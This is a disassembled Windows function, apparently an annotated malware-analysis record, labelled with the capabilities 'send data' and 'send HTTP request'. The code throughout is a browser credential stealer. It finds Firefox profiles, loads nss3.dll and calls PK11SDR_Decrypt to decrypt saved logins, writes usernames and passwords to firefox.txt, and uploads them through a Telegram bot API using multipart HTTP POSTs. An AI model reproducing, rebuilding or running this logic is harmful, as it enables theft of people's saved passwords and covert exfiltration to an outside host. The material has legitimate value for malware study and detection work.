Function at 0x180003e51
Capabilities:
Send data
Send http request

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xb98
movaps xmmword [rsp + 0xb80], xmm6
mov r15, rcx
mov rdx, qword [rcx + 8]
mov r8, qword [rcx + 0x10]
lea rsi, [rsp + 0x450]
mov rcx, rsi
call fcn.180025df0
cmp dword [rsi + 0x10], 2
jne 0x180003eaa
mov rax, qword [rsp + 0x450]
mov qword [rsp + 0x918], rax
mov dword [rsp + 0x928], 2
jmp 0x180003ed2
lea rsi, [rsp + 0x918]
lea rdx, [rsp + 0x450]
mov r8d, 0x268
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
cmp dword [rsi + 0x10], 2
jne 0x180003f60
mov rdx, qword [r15 + 0x18]
add rdx, 0x10
lea rsi, [rsp + 0x450]
mov rcx, rsi
call fcn.180005223
cmp qword [rsi], 0
jne 0x1800051b1
mov rcx, qword [rsp + 0x458]
mov al, byte [rsp + 0x460]
lea rsi, [rsp + 0x6b8]
mov qword [rsi], rcx
mov byte [rsi + 8], al
add rcx, 8
lea rdx, str.Firefox_profiles_not_found
mov r8d, 0x1a
call fcn.18000b549
mov rcx, rsi
call fcn.180007dcc
lea rcx, [rsp + 0x918]
call fcn.180007e8d
mov rcx, r15
call fcn.180007dae
movaps xmm6, xmmword [rsp + 0xb80]
add rsp, 0xb98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [rsp + 0x450]
lea rdx, [rsp + 0x918]
mov r8d, 0x268
call sub.VCRUNTIME140.dll_memcpy
lea r12, [rsp + 0xd0]
lea rbp, [rsp + 0x1f0]
movabs rdi, 0x8000000000000000
lea rsi, [0x180008bd8]
xorps xmm6, xmm6
lea r14, [rsp + 0xf0]
mov qword [rsp + 0x98], r15
lea rcx, [rsp + 0x6b8]
lea rdx, [rsp + 0x450]
call fcn.18001da30
cmp qword [rsp + 0x6b8], 0
je 0x180004f85
mov rcx, qword [rsp + 0x6c0]
mov rax, qword [rsp + 0x6c8]
test rcx, rcx
je 0x180004fe1
mov qword [rsp + 0x1f0], rcx
mov qword [rsp + 0x1f8], rax
mov r8d, 0x248
lea rcx, [rsp + 0x200]
lea rdx, [rsp + 0x6d0]
call sub.VCRUNTIME140.dll_memcpy
mov rcx, r12
mov rdx, rbp
call fcn.18001dc50
lea rbx, [rsp + 0x40]
mov rcx, rbx
mov rdx, r12
call fcn.180028890
mov rax, qword [rsp + 0x40]
lea rcx, [rsp + 0x48]
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0x60], xmm0
mov rcx, qword [rcx + 0x10]
mov qword [rsp + 0x70], rcx
cmp rax, rdi
jne 0x180005038
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x1e0], rax
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x1d0], xmm0
mov rcx, rbp
call fcn.180007d81
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], rsi
lea rax, [0x18012ac78]
mov qword [rsp + 0x1f0], rax
mov ecx, 2
mov qword [rsp + 0x1f8], rcx
and qword [rsp + 0x210], 0
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x200], rbx
mov qword [rsp + 0x208], rcx
mov rcx, r12
mov rdx, rbp
call fcn.1800085ba
movups xmm0, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x170], xmm0
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x180], rax
mov rdx, qword [r15 + 0x18]
add rdx, 0x10
mov rcx, rbp
call fcn.180005223
cmp qword [rsp + 0x1f0], 0
jne 0x180005008
mov rcx, rsi
mov rsi, qword [rsp + 0x1f8]
mov al, byte [rsp + 0x200]
mov qword [rsp + 0xf0], rsi
mov byte [rsp + 0xf8], al
lea rax, [0x18012acc0]
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x1f8], 2
and qword [rsp + 0x210], 0
lea rax, [rsp + 0x170]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x200], rbx
mov qword [rsp + 0x208], 1
lea rcx, [rsp + 0x1b8]
mov rdx, rbp
call fcn.1800085ba
movabs rax, 0x18da62973
mov qword [rsp + 0xc0], rax
mov rcx, qword [rsp + 0x1c0]
mov rdx, qword [rsp + 0x1c8]
call fcn.180021f70
test rax, rax
je 0x18000502c
mov r13, rdi
mov rcx, rax
call fcn.180002471
test rax, rax
je 0x180005072
mov qword [rsp + 0x108], rax
mov qword [rsp + 0x110], rdx
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x40], rax
lea rax, [0x180036230]
mov qword [rsp + 0x48], rax
lea rax, str._r_n__FRaqbC8wSA1XvpFV_r_nContent_Disposition:_form_data__name_chat_id__r_n_r_n_r_n__FRaqbC8wSA1XvpFV_r_nContent_Disposition:_form_data__name_document___filename___r_n_r_n
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x1f8], 3
and qword [rsp + 0x210], 0
lea rax, [rsp + 0x108]
mov qword [rsp + 0x50], rax
lea rax, [0x18000f2a6]
mov qword [rsp + 0x58], rax
lea rdi, [rsp + 0x40]
mov qword [rsp + 0x200], rdi
mov qword [rsp + 0x208], 2
lea rcx, [rsp + 0xa8]
mov rdx, rbp
call fcn.1800085ba
mov rax, qword [rsp + 0x1c8]
mov qword [rsp + 0x50], rax
and dword [rsp + 0x1f0], 0
lea rax, [rsp + 0x200]
movups xmmword [rax - 8], xmm6
mov dword [rsp + 0x208], 7
and word [rax + 0x14], 0
movups xmm0, xmmword [rsp + 0x1b8]
and qword [rax + 0xc], 0
movaps xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x210], 1
mov rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x50]
mov rcx, rbp
call fcn.18000da02
mov r15, rax
mov rbx, rdx
mov rcx, rdi
call fcn.180007c14
mov qword [rsp + 0x158], r15
mov qword [rsp + 0x160], rbx
test r15, r15
jne 0x180004516
mov qword [rsp + 0x140], rbx
and qword [rsp + 0x80], 0
mov qword [rsp + 0x88], 1
and qword [rsp + 0x90], 0
lea rcx, [rsp + 0x140]
lea rdx, [rsp + 0x80]
call fcn.18001d8f0
mov rcx, rax
call fcn.180008261
mov rax, qword [rsp + 0x90]
mov rbx, qword [rsp + 0xb8]
lea rdx, [rax + rbx]
add rdx, 0x16
lea r14, [rsp + 0x60]
mov rcx, r14
call fcn.18000860e
mov rdx, qword [rsp + 0xb0]
mov rcx, r14
mov r8, rbx
call fcn.18000db18
mov rdx, qword [rsp + 0x88]
mov r8, qword [rsp + 0x90]
mov rcx, r14
call fcn.18000db18
mov r8d, 0x16
mov rcx, r14
lea rdx, str._r_n__FRaqbC8wSA1XvpFV__POST
call fcn.18000db18
mov r12, qword [rsi + 0x18]
mov rbx, qword [r12 + 0x28]
mov r8d, 4
lea rdi, [rsp + 0x40]
mov rcx, rdi
lea rdx, [0x18012a0f6]
call fcn.180016236
cmp qword [rsp + 0x40], r13
jne 0x1800050bb
mov r14, r13
add rsi, 8
mov r15, qword [rsp + 0x48]
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x198], r15
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x40], rsi
lea rax, [0x1800091a3]
mov qword [rsp + 0x48], rax
lea rax, str.bot_sendMessage_chat_idtext
mov qword [rsp + 0x1f0], rax
mov eax, 2
mov qword [rsp + 0x1f8], rax
and qword [rsp + 0x210], 0
lea rcx, [rsp + 0xc0]
mov qword [rsp + 0x50], rcx
lea rcx, [0x180036230]
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x200], rdi
mov qword [rsp + 0x208], rax
lea rsi, [rsp + 0xd0]
mov rcx, rsi
mov rdx, rbp
call fcn.1800085ba
mov rcx, rdi
mov rdx, rsi
call fcn.180008f56
cmp qword [rsp + 0x40], r13
jne 0x180005111
mov r8, qword [rsp + 0x48]
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x1f0], r8
mov qword [rsp + 0x1f8], rax
movups xmmword [rsp + 0x20], xmm6
and qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0x800000
mov rcx, rbx
mov rdx, r15
xor r9d, r9d
call sub.wininet.dll_HttpOpenRequestA
mov rbx, rax
mov rcx, rbp
call fcn.180007c2e
lea rcx, [rsp + 0x198]
call fcn.180007c2e
mov rdx, qword [r12 + 0x18]
mov r8d, dword [r12 + 0x20]
mov r9, qword [rsp + 0x68]
mov eax, dword [rsp + 0x70]
mov dword [rsp + 0x20], eax
mov rcx, rbx
call sub.wininet.dll_HttpSendRequestA
lea rcx, [rsp + 0x60]
call fcn.180007c14
lea rcx, [rsp + 0x80]
call fcn.180007c14
mov rcx, qword [rsp + 0x140]
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp qword [rsp + 0x158], 0
lea r12, [rsp + 0xd0]
lea r14, [rsp + 0xf0]
je 0x180004523
lea rcx, [rsp + 0x158]
call fcn.180007e77
lea rcx, [rsp + 0xa8]
call fcn.180007c14
mov rcx, r14
call fcn.180007dcc
lea rax, [rsp + 0x170]
mov qword [rsp + 0x60], rax
lea rax, [0x18012acf0]
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x1f8], 2
and qword [rsp + 0x210], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0xd0], rax
lea rax, [0x180016214]
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0x200], r12
mov qword [rsp + 0x208], 1
lea rcx, [rsp + 0x40]
mov rdx, rbp
call fcn.1800085ba
mov r8, qword [rsp + 0x50]
mov qword [rsp + 0x150], r8
movups xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x140], xmm0
mov rdx, qword [rsp + 0x148]
mov r12, qword [rsp + 0x178]
and dword [rsp + 0x1f0], 0
lea rax, [rsp + 0x200]
movups xmmword [rax - 8], xmm6
mov dword [rsp + 0x208], 7
and word [rax + 0x14], 0
and qword [rax + 0xc], 0
mov byte [rsp + 0x210], 1
mov rcx, rbp
call fcn.18000da02
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], rdx
test rax, rax
je 0x18000472f
mov rdi, r13
mov qword [rsp + 0x60], r13
lea r12, [rsp + 0xd0]
mov r15, qword [rsp + 0x98]
lea rcx, [rsp + 0x130]
call fcn.180007e77
mov rsi, qword [rsp + 0x60]
cmp rsi, rdi
je 0x1800046e6
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x50], rax
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x40], xmm0
mov rdx, qword [r15 + 0x18]
add rdx, 0x10
mov rcx, rbp
call fcn.180005223
cmp qword [rsp + 0x1f0], 0
jne 0x18000507e
mov rbx, qword [rsp + 0x1f8]
mov al, byte [rsp + 0x200]
mov qword [rsp + 0xd0], rbx
mov byte [rsp + 0xd8], al
add rbx, 8
mov rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x50]
mov rcx, rbp
call fcn.1800083f6
mov r9d, 0xb
mov rcx, rbx
mov rdx, rbp
lea r8, str.firefox.txt
call fcn.18000b94e
mov rcx, r12
call fcn.180007dcc
lea rcx, [rsp + 0x40]
call fcn.180007c14
lea rcx, [rsp + 0x170]
call fcn.180007c14
lea rcx, [rsp + 0x1d0]
call fcn.180007c14
cmp rsi, rdi
jne 0x180004716
cmp qword [rsp + 0x60], rdi
je 0x180004716
lea rcx, [rsp + 0x60]
call fcn.180007c14
lea rcx, [rsp + 0x140]
call fcn.180007c14
lea rsi, [0x180008bd8]
jmp 0x180003faf
mov qword [rsp + 0xa0], rdx
and qword [rsp + 0xf0], 0
mov qword [rsp + 0xf8], 1
and qword [rsp + 0x100], 0
lea rcx, [rsp + 0xa0]
mov rdx, r14
call fcn.18001d9f0
mov rcx, rax
call fcn.180008261
mov rdx, qword [rsp + 0xf8]
mov r8, qword [rsp + 0x100]
mov rcx, rbp
call fcn.1800194cc
cmp byte [rsp + 0x1f0], 6
je 0x1800050e2
mov rdi, r13
movups xmm0, xmmword [rsp + 0x1f0]
movups xmm1, xmmword [rsp + 0x200]
movaps xmmword [rsp + 0xe0], xmm1
movaps xmmword [rsp + 0xd0], xmm0
mov edx, 6
lea rcx, str.logins
lea rsi, [rsp + 0xd0]
mov r8, rsi
call fcn.1800199a5
test rax, rax
mov r15, qword [rsp + 0x98]
je 0x18000481e
cmp byte [rax], 4
jne 0x180005135
mov r15, qword [rax + 0x10]
mov rsi, qword [rax + 0x18]
test rsi, rsi
lea r13, [rsp + 0x60]
lea r14, [rsp + 0x40]
je 0x180004858
lea rbx, [rsi*8]
mov ecx, 8
mov rdx, rbx
call fcn.180008c54
test rax, rax
jne 0x18000485d
jmp 0x1800051a4
mov rcx, rsi
call fcn.180007bc0
mov rcx, r14
call fcn.180007c14
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp qword [rsp + 0x130], 0
mov qword [rsp + 0x60], rdi
mov r12, rsi
jne 0x18000463a
jmp 0x180004647
mov eax, 8
mov qword [rsp + 0x188], rsi
mov rdx, rsi
shl rdx, 5
xor esi, esi
mov rcx, rax
test rdx, rdx
je 0x18000488b
mov qword [rcx], r15
add r15, 0x20
add rcx, 8
add rdx, 0xffffffffffffffe0
add rsi, 8
jmp 0x180004871
mov qword [rsp + 0x120], rax
mov r8d, 0x21
mov rcx, r13
lea rdx, str.C:Program_FilesMozilla_FirefoxC:Program_FilesMozilla_Firefox_nss3.dll
call fcn.18000d3cd
mov rcx, qword [rsp + 0x68]
call sub.kernel32.dll_SetDllDirectoryW
mov r8d, 0x29
mov rcx, r14
lea rdx, [0x18012a769]
call fcn.18000d3cd
mov rcx, qword [rsp + 0x48]
call sub.kernel32.dll_LoadLibraryW
mov r15, rax
test rax, rax
jne 0x180004961
call fcn.1800273a0
shl rax, 0x20
or rax, 2
mov qword [rsp + 0xa8], rax
lea rax, [0x18012a798]
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x1f8], 2
and qword [rsp + 0x210], 0
lea rbx, [rsp + 0xa8]
mov qword [rsp + 0x80], rbx
lea rax, [0x18001e280]
mov qword [rsp + 0x88], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x200], rax
mov qword [rsp + 0x208], 1
mov rcx, rbp
call fcn.18001ef70
mov rcx, rbx
call fcn.180007acc
mov rcx, r14
call fcn.180007c82
mov rcx, r13
call fcn.180007c82
mov r8d, 8
mov rcx, r14
lea rdx, str.NSS_Initsrc_firefox_decrypt.rs
call fcn.180016236
cmp qword [rsp + 0x40], rdi
jne 0x180005141
mov rdx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x60], rdx
mov qword [rsp + 0x68], rax
mov rcx, r15
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x1800049b9
mov rcx, r12
call rax
jmp 0x1800049f8
lea rax, str.NSS_Init_Not_found__n
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x1f8], 1
mov qword [rsp + 0x200], 8
movups xmmword [rsp + 0x208], xmm6
mov rcx, rbp
call fcn.18001ef70
mov rcx, r15
call sub.kernel32.dll_FreeLibrary
mov rcx, r13
call fcn.180007c2e
mov r8d, 0xf
mov rcx, r14
lea rdx, str.PK11SDR_Decrypt
call fcn.180016236
cmp qword [rsp + 0x40], rdi
jne 0x180005165
mov rdx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x60], rdx
mov qword [rsp + 0x68], rax
mov rcx, r15
call sub.kernel32.dll_GetProcAddress
mov qword [rsp + 0x128], rax
test rax, rax
jne 0x180004a88
lea rax, str.PK11SDR_Decrypt_Not_found__n
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x1f8], 1
mov qword [rsp + 0x200], 8
movups xmmword [rsp + 0x208], xmm6
mov rcx, rbp
call fcn.18001ef70
mov rcx, r15
call sub.kernel32.dll_FreeLibrary
mov rcx, r13
call fcn.180007c2e
and qword [rsp + 0x108], 0
mov qword [rsp + 0x110], 1
and qword [rsp + 0x118], 0
mov rbx, qword [rsp + 0x120]
mov r13, qword [rsp + 0x128]
test rsi, rsi
je 0x180004efe
mov r12, rdi
mov rdi, rbp
mov qword [rsp + 0x190], rbx
mov r15, qword [rbx]
mov edx, 8
lea rcx, str.hostnameencryptedUsername
mov r8, r15
call fcn.1800199a5
test rax, rax
je 0x180004b01
mov rcx, rax
call fcn.180019752
mov rbx, rax
mov rbp, rdx
jmp 0x180004b03
xor ebx, ebx
mov edx, 0x11
lea rcx, [0x18012a8b0]
mov r8, r15
call fcn.1800199a5
test rax, rax
je 0x180004fb1
mov rcx, rax
call fcn.180019752
test rax, rax
je 0x180004fb1
mov r8, rdx
lea rcx, [rsp + 0x158]
mov rdx, rax
call fcn.1800083f6
mov edx, 0x11
lea rcx, str.encryptedPassword
mov r8, r15
call fcn.1800199a5
test rax, rax
je 0x180004fa5
mov rcx, rax
call fcn.180019752
test rax, rax
je 0x180004fa5
mov r8, rdx
lea rcx, [rsp + 0x198]
mov rdx, rax
call fcn.1800083f6
mov r8d, 0x21
lea r15, [rsp + 0x108]
mov rcx, r15
lea rdx, str._nNo_username
call fcn.18000db18
test rbx, rbx
je 0x180004fbd
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rbp
lea rax, [0x18012a958]
mov qword [rsp + 0x1f0], rax
mov ecx, 1
mov qword [rsp + 0x1f8], rcx
and qword [rsp + 0x210], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x80], rax
lea rax, [0x18000f2a6]
mov qword [rsp + 0x88], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x200], rax
mov qword [rsp + 0x208], rcx
mov rcx, r14
mov rbp, rdi
mov rdx, rdi
call fcn.1800085ba
mov r8, qword [rsp + 0x50]
mov qword [rsp + 0x200], r8
movups xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x1f0], xmm0
mov rdx, qword [rsp + 0x1f8]
mov rcx, r15
call fcn.18000db18
mov rcx, rdi
call fcn.180007c14
mov r8d, 1
mov rcx, r15
lea rdx, [0x18012a48e]
call fcn.18000db18
test r13, r13
je 0x180004fd5
lea rcx, [rsp + 0xa8]
lea rdx, [rsp + 0x158]
mov r8, r13
call fcn.18000d5b8
mov rbx, qword [rsp + 0xa8]
mov rdi, r12
cmp rbx, r12
lea r12, [rsp + 0x108]
je 0x180004d68
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x70], rax
movups xmm0, xmmword [rsp + 0xa8]
movaps xmmword [rsp + 0x60], xmm0
lea r15, [rsp + 0x60]
mov qword [rsp + 0xc0], r15
lea rax, str.Username:
mov qword [rsp + 0x1f0], rax
mov ecx, 1
mov qword [rsp + 0x1f8], rcx
and qword [rsp + 0x210], 0
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x80], rax
lea rax, [0x180016214]
mov qword [rsp + 0x88], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x200], rax
mov qword [rsp + 0x208], rcx
mov rcx, r14
mov rdx, rbp
call fcn.1800085ba
mov r8, qword [rsp + 0x50]
mov qword [rsp + 0x200], r8
movups xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x1f0], xmm0
mov rdx, qword [rsp + 0x1f8]
mov rcx, r12
call fcn.18000db18
mov rcx, rbp
call fcn.180007c14
mov rcx, r15
call fcn.180007c14
mov r8d, 1
mov rcx, r12
lea rdx, [0x18012a48e]
call fcn.18000db18
lea rcx, [rsp + 0x80]
lea rdx, [rsp + 0x198]
mov r8, r13
call fcn.18000d5b8
mov r15, qword [rsp + 0x80]
cmp r15, rdi
je 0x180004e82
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x70], rax
movups xmm0, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x60], xmm0
mov r13, rdi
mov rdi, r14
lea r14, [rsp + 0x60]
mov qword [rsp + 0x1b0], r14
lea rax, str.Password:
mov qword [rsp + 0x1f0], rax
mov ecx, 1
mov qword [rsp + 0x1f8], rcx
and qword [rsp + 0x210], 0
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0xc0], rax
lea rax, [0x180016214]
mov qword [rsp + 0xc8], rax
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x200], rax
mov qword [rsp + 0x208], rcx
mov rcx, rdi
mov rdx, rbp
call fcn.1800085ba
mov r8, qword [rsp + 0x50]
mov qword [rsp + 0x200], r8
movups xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x1f0], xmm0
mov rdx, qword [rsp + 0x1f8]
mov rcx, r12
call fcn.18000db18
mov rcx, rbp
call fcn.180007c14
mov rcx, r14
mov r14, rdi
mov rdi, r13
mov r13, qword [rsp + 0x128]
call fcn.180007c14
mov r8d, 1
mov rcx, r12
lea rdx, [0x18012a48e]
call fcn.18000db18
cmp r15, rdi
jne 0x180004eb3
cmp qword [rsp + 0x80], rdi
je 0x180004eb3
lea rcx, [rsp + 0x80]
call fcn.180007c14
cmp rbx, rdi
jne 0x180004ecf
cmp qword [rsp + 0xa8], rdi
je 0x180004ecf
lea rcx, [rsp + 0xa8]
call fcn.180007c14
mov rbx, qword [rsp + 0x190]
add rbx, 8
lea rcx, [rsp + 0x198]
call fcn.180007c14
lea rcx, [rsp + 0x158]
call fcn.180007c14
add rsi, 0xfffffffffffffff8
jmp 0x180004abe
mov r8, qword [rsp + 0x188]
test r8, r8
je 0x180004f21
shl r8, 3
mov edx, 8
mov rcx, qword [rsp + 0x120]
call fcn.180008c40
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x70], rax
movups xmm0, xmmword [rsp + 0x108]
movaps xmmword [rsp + 0x60], xmm0
lea r12, [rsp + 0xd0]
mov rcx, r12
call fcn.180007bc0
lea r14, [rsp + 0xf0]
mov rcx, r14
call fcn.180007c14
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp qword [rsp + 0x130], 0
mov r15, qword [rsp + 0x98]
jne 0x18000463a
jmp 0x180004647
lea rcx, [rsp + 0x450]
call fcn.180007a85
cmp dword [rsp + 0x928], 2
je 0x180003f2f
jmp 0x180003f3c
lea rcx, [0x18012a8f8]
call fcn.180126830
lea rcx, [0x18012a8c8]
call fcn.180126830
lea rcx, [0x18012a931]
lea r8, [0x18012a940]
mov edx, 0xb
call fcn.180126850
lea rcx, [0x18012a968]
call fcn.180126830
lea r8, [rsp + 0x40]
mov qword [r8], rax
lea rax, [0x18012ac48]
mov qword [rsp + 0x20], rax
lea rcx, [0x180129150]
lea r9, fcn.180007acc
jmp 0x18000519a
mov rax, qword [rsp + 0x1f8]
mov cl, byte [rsp + 0x200]
lea r8, [rsp + 0x40]
mov qword [r8], rax
mov byte [r8 + 8], cl
lea rax, [0x18012ac98]
jmp 0x1800050a3
lea rcx, [0x180129fe0]
call fcn.180126830
lea r8, [rsp + 0x40]
mov qword [r8], rax
movaps xmm0, xmmword [rsp + 0x60]
movups xmmword [r8 + 8], xmm0
mov rax, qword [rsp + 0x70]
mov qword [r8 + 0x18], rax
lea rax, [0x18012ac60]
mov qword [rsp + 0x20], rax
lea rcx, [0x180129150]
lea r9, [0x1801291e0]
jmp 0x18000519a
lea rcx, [0x180129ff8]
call fcn.180126830
mov rax, qword [rsp + 0x1f8]
mov cl, byte [rsp + 0x200]
lea r8, [rsp + 0xd0]
mov qword [r8], rax
mov byte [r8 + 8], cl
lea rax, [0x18012ad10]
mov qword [rsp + 0x20], rax
lea rcx, [0x180129150]
lea r9, case.0x1800054cd.18
jmp 0x18000519a
movups xmm0, xmmword [rsp + 0x40]
movups xmm1, xmmword [rsp + 0x50]
lea r8, [rsp + 0x1f0]
movaps xmmword [r8 + 0x10], xmm1
movaps xmmword [r8], xmm0
lea rax, [0x18012a100]
jmp 0x180005187
mov rax, qword [rsp + 0x1f8]
lea r8, [rsp + 0x40]
mov qword [r8], rax
lea rax, [0x18012a870]
mov qword [rsp + 0x20], rax
lea rcx, [0x180129150]
lea r9, [0x180129130]
jmp 0x18000519a
movups xmm0, xmmword [rsp + 0x40]
movups xmm1, xmmword [rsp + 0x50]
lea r8, [rsp + 0x1f0]
movaps xmmword [r8 + 0x10], xmm1
movaps xmmword [r8], xmm0
lea rax, [0x18012a150]
jmp 0x180005187
lea rcx, [0x18012a890]
call fcn.180126830
movups xmm0, xmmword [rsp + 0x40]
movups xmm1, xmmword [rsp + 0x50]
lea r8, [rsp + 0x1f0]
movaps xmmword [r8 + 0x10], xmm1
movaps xmmword [r8], xmm0
lea rax, [0x18012a7d8]
jmp 0x180005187
movups xmm0, xmmword [rsp + 0x40]
movups xmm1, xmmword [rsp + 0x50]
lea r8, [rsp + 0x1f0]
movaps xmmword [r8 + 0x10], xmm1
movaps xmmword [r8], xmm0
lea rax, [0x18012a828]
mov qword [rsp + 0x20], rax
lea rcx, [0x180129150]
lea r9, [0x1801290f0]
mov edx, 0x2b
call fcn.180126c00
mov ecx, 8
mov rdx, rbx
call fcn.180126780
mov rax, qword [rsp + 0x458]
mov cl, byte [rsp + 0x460]
lea r8, [rsp + 0x6b8]
mov qword [r8], rax
mov byte [r8 + 8], cl
lea rax, [0x18012ad38]
jmp 0x1800050a3